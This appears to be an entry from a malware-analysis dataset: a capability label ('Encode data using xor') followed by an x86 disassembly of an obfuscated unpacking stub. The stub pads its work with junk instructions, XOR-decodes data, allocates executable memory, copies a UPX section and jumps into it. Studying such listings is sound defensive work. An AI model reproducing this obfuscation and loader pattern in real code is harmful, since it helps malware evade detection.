Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1f302751
sub ebx, 0x20124c36
mov ebx, 0x99697522
popal
inc ebx
and esi, esi
not ebx
mov esi, 0
mov ecx, ebx
sub edi, 0xe4eed53f
and eax, edi
add eax, edi
mov edx, ecx
mov eax, 0x280e8272
inc edi
mov ebx, edx
add edi, 0x43690ae
sub eax, edi
inc esi
add eax, 0x734be090
add edi, 0x25d5f371
cmp esi, 0x1005691
jne 0x47b450
mov eax, 0x7c34f549
dec eax
sub esi, 1
or ebx, esi
sub ebx, 0x92798d51
mov ebx, 0x47b21e
inc ecx
mov esi, ecx
mov edi, 0x47b412
inc esi
and ecx, edx
mov ecx, esi
mov eax, dword [ebx]
not esi
or edx, ecx
and eax, 0xff
mov esi, ecx
and edx, esi
and esi, edx
xor dword [edi], eax
add ecx, edx
mov esi, 0xb81da82
inc edi
mov esi, ecx
mov edx, ecx
or edx, esi
add ebx, 1
not edx
add edx, 0xc82ab55d
cmp edi, entry0
jl 0x47b4ad
mov edx, 0xe525e456
sub esi, ecx
add edx, edx
and ecx, esi
mov ecx, edx
add edx, 0x36bf99ef
sub edx, 0xdb63df44
mov esi, ebx
mov edi, 0x47b416
not esi
sub ebx, esi
dec edx
mov edi, dword [edi]
sub ecx, edx
and esi, ebx
mov edi, dword [edi]
not ecx
mov ebx, 0x21bcce1f
push edi
sub ecx, ebx
mov edx, 0x3ca43b25
mov edi, 0x47b412
sub edx, 1
and ecx, esi
mov edi, dword [edi]
mov ebx, 0x87beb29d
mov esi, edx
add esi, 1
mov edi, dword [edi]
add edx, 0x91b84cca
sub edx, 0xc236e7
and esi, ecx
push 0x47b41a
dec edx
add ebx, 0x110cff9b
call edi
not ecx
sub ecx, edx
pop edi
add ecx, 1
mov edx, 0x74d82822
push 0x47b427
sub esi, 0xac9bbd1f
and ecx, edx
push eax
dec edx
mov esi, ecx
dec esi
call edi
not ecx
add ebx, esi
or ecx, ebx
push 0x40
mov ebx, esi
sub esi, ecx
mov edx, ebx
push 0x3000
and ecx, edx
mov esi, 0x83fe65e0
sub ebx, esi
push 0x2000065e
add esi, 0x4fd7d459
add ecx, esi
push 0
and edx, ebx
mov ebx, esi
and ecx, esi
call eax
add ecx, ebx
and ecx, edx
inc ecx
add eax, 0x200005cc
or ecx, esi
and ebx, edx
mov edi, 0x70fdfa9b
sub ecx, ebx
sub ecx, 0xfde42c3f
mov dword [eax], edi
mov ebx, edx
add ebx, 0x457e068
mov esi, 0xa1cd9c6a
mov edi, dword [eax]
mov ebx, 0x5ea6bf50
mov ebx, 0xbbf65567
cmp edi, 0x70fdfa9b
je 0x47b602
mov ebx, 0
mov eax, dword [ebx]
add ebx, 0x1d2abb89
add edx, esi
mov ecx, esi
or esi, esi
not esi
add ebx, 0x7f0cd30
mov eax, section.UPX1
or esi, ebx
or esi, esi
and esi, esi
mov edi, 0x47b21d
dec ebx
add esi, 1
mov edx, 0
add ebx, 0x538df565
sub esi, 0x7ec56bf8
mov ebx, esi
mov ecx, 0x47b21e
mov esi, 0x85ca0aab
sub esi, ebx
mov ebx, 0xcffd705a
lea ecx, [ecx + edx]
not ebx
dec esi
mov ecx, dword [ecx]
add esi, esi
and esi, ebx
dec ebx
and ecx, 0xff
sub ebx, esi
sub esi, 0x9b15f64a
inc esi
inc edx
add esi, esi
add ebx, 1
sub esi, ebx
cmp edx, 0x1f4
jne 0x47b685
mov edx, 0
add ebx, ebx
sub ebx, 0xf8a11bb6
not ebx
mov esi, ebx
dec ebx
xor dword [eax], ecx
and ebx, ebx
not esi
dec esi
add eax, 2
not ebx
mov esi, 0x204f308
mov ebx, 0x79c51916
cmp eax, edi
jl 0x47b640
mov esi, 0xc9d393f
and esi, ebx
add esi, esi
sub ebx, esi
sub ebx, esi
dec ebx
mov ecx, section.UPX1
mov eax, 0xdea94fcf
add edi, eax
not eax
mov esi, section.UPX1
add eax, 1
or eax, eax
mov ebx, 0x47b21d
sub edi, eax
and edi, eax
add edi, 0x7126cb43
mov edx, 0
dec eax
sub edi, 0x1b0a74bf
mov dl, byte [esi]
inc eax
add edi, edi
mov byte [ecx], dl
and eax, edi
add eax, 1
inc ecx
or eax, edi
sub edi, 0x4a5a6dcf
and eax, eax
add esi, 2
sub eax, edi
sub eax, edi
mov edi, 0x1106e320
cmp esi, ebx
jle 0x47b6f7
inc edi
sub eax, edi
and edi, eax
not esi
and esi, esi
push 0x45e6a0
mov ebx, 0x27a0d7c1
mov esi, 0xbc67a47e
add ebx, 0xcc870cac
ret